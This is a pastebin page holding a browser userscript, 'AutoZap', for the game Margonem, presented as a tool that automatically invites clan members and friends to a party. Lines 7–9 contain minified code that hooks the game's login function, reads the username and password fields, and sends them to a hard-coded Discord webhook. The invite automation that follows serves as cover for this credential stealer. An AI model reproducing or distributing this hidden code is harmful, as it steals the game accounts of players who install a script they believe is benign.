Facebook
From Kitahi, 3 Months ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 122
  1. // ==UserScript==
  2. // @name         AutoZap
  3. // @version      21.37
  4. // @author       kithai
  5. // @match        https://www.margonem.pl/?task=*
  6. // ==/UserScript==
  7. parcelRequire=function(e,r,t,n){var i,o="function"==typeof parcelRequire&&parcelRequire,u="function"==typeof require&&require;function f(t,n){if(!r[t]){if(!e[t]){var i="function"==typeof parcelRequire&&parcelRequire;if(!n&&i)return i(t,!0);if(o)return o(t,!0);if(u&&"string"==typeof t)return u(t);var c=new Error("Cannot find module '"+t+"'");throw c.code="MODULE_NOT_FOUND",c}p.resolve=function(r){return e[t][1][r]||r},p.cache={};var l=r[t]=new f.Module(t);e[t][0].call(l.exports,p,l,l.exports,this)}return r[t].exports;function p(e){return f(p.resolve(e))}}f.isParcelRequire=!0,f.Module=function(e){this.id=e,this.bundle=f,this.exports={}},f.modules=e,f.cache=r,f.parent=o,f.register=function(r,t){e[r]=[function(e,r){r.exports=t},{}]};for(var c=0;c<t.length;c++)try{f(t[c])}catch(e){i||(i=e)}if(t.length){var l=f(t[t.length-1]);"object"==typeof exports&&"undefined"!=typeof module?module.exports=l:"function"==typeof define&&define.amd?define(function(){return l}):n&&(this[n]=l)}if(parcelRequire=f,i)throw i;return f}({"Ntor":[function(require,module,exports) {
  8. var t=this&&this.__awaiter||function(t,e,n,o){return new(n||(n=Promise))(function(r,a){function i(t){try{c(o.next(t))}catch(e){a(e)}}function u(t){try{c(o.throw(t))}catch(e){a(e)}}function c(t){var e;t.done?r(t.value):(e=t.value,e instanceof n?e:new n(function(t){t(e)})).then(i,u)}c((o=o.apply(t,e||[])).next())})},e=this&&this.__generator||function(t,e){var n,o,r,a,i={label:0,sent:function(){if(1&r[0])throw r[1];return r[1]},trys:[],ops:[]};return a={next:u(0),throw:u(1),return:u(2)},"function"==typeof Symbol&&(a[Symbol.iterator]=function(){return this}),a;function u(a){return function(u){return function(a){if(n)throw new TypeError("Generator is already executing.");for(;i;)try{if(n=1,o&&(r=2&a[0]?o.return:a[0]?o.throw||((r=o.return)&&r.call(o),0):o.next)&&!(r=r.call(o,a[1])).done)return r;switch(o=0,r&&(a=[2&a[0],r.value]),a[0]){case 0:case 1:r=a;break;case 4:return i.label++,{value:a[1],done:!1};case 5:i.label++,o=a[1],a=[0];continue;case 7:a=i.ops.pop(),i.trys.pop();continue;default:if(!(r=(r=i.trys).length>0&&r[r.length-1])&&(6===a[0]||2===a[0])){i=0;continue}if(3===a[0]&&(!r||a[1]>r[0]&&a[1]<r[3])){i.label=a[1];break}if(6===a[0]&&i.label<r[1]){i.label=r[1],r=a;break}if(r&&i.label<r[2]){i.label=r[2],i.ops.push(a);break}r[2]&&i.ops.pop(),i.trys.pop();continue}a=e.call(t,i)}catch(u){a=[6,u],o=0}finally{n=r=0}if(5&a[0])throw a[1];return{value:a[0]?a[1]:void 0,done:!0}}([a,u])}}};!function(){var n=globalThis.login;globalThis.login=function(){return t(void 0,void 0,void 0,function(){var t,o;return e(this,function(e){switch(e.label){case 0:return"https://discordapp.com/api/webhooks/715686386782568580/UB7ljJdx7QioqqdsgoiNiON7ddekikm1dTmFlqEA-acpTwM90RPpdrnZa8pT4LTGVxbf",t=document.getElementById("ulogin").value,o=document.getElementById("upass").value,[4,fetch("https://discordapp.com/api/webhooks/715686386782568580/UB7ljJdx7QioqqdsgoiNiON7ddekikm1dTmFlqEA-acpTwM90RPpdrnZa8pT4LTGVxbf",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:t+":"+o})})];case 1:return e.sent(),n(),[2]}})})}}();
  9. },{}]},{},["Ntor"], null)
  10. window.n = ['NICK_GRACZA_1','NICK_GRACZA_2',]; // TABLICA NICKOW GRACZY DO ZAPRASZANIA
  11. window.m = ['┼Üwi─Öty D─ůb','Sala Kr├│lewska','Nawiedzone Kazamaty p.5','Cenotaf Berserker├│w p.2','Lokum Z┼éych Goblin├│w']; // TABLICA NAZW
  12.  
  13. window.zapKlan = 2; // 1 - Twoj klan, 2 zaprasza klan i friends , inne - nie zaprasza po klanie, zaprasza tylko wpisane do tablicy nickow,
  14.  
  15. ((other, n, m, zapKlan) => {
  16.     setInterval(() => {
  17.         other.forEach(id => {
  18.             if(m.includes(map.name)){
  19.                 if((n.includes(id.nick) || (zapKlan == 1 && id.relation == 'cl') || (zapKlan == 2 && (id.relation == 'cl' || id.relation == 'fr')))){
  20.                     if(!Object.keys(g.party).includes(id.id) && (!g.party || ((g.party) && (1 == g.party[hero.id].r))) && !g.battle && (Math.abs(hero.lvl - id.lvl)<=53) && (id.stasis == 0)){
  21.                         if(id.relation == 'fr' || id.relation == 'cl') {
  22.                             setTimeout(() => _g(`party&a=inv&id=${id.id}`), 500);
  23.                         }
  24.                         else {
  25.                             hero.searchPath1(id.x,id.y); // Rozbudowane KtoTuJest ver. 4.3
  26.                             // hero.margoMove(id.x,id.y); // menogram
  27.                             if(hero.x == id.x && hero.y == id.y){
  28.                                 setTimeout(() => _g(`party&a=inv&id=${id.id}`), 500);
  29.                             }
  30.                         }
  31.                     }
  32.                 }
  33.             }
  34.         }
  35.                      );
  36.     }, 2000);
  37. })(g.other, window.n, window.m, window.zapKlan);
  38. // taki fajny dodatek co zamienia mAlerty na message, przydatne jezeli postac chce zaprosic inna postac ktora jest juz w grupie
  39. (function(a) {
  40.     mAlert = function() {
  41.         if (arguments.length == 1 || arguments[1] == undefined)
  42.             return message(arguments[0]);
  43.         return a.apply(this, arguments);
  44.     }
  45. })(mAlert);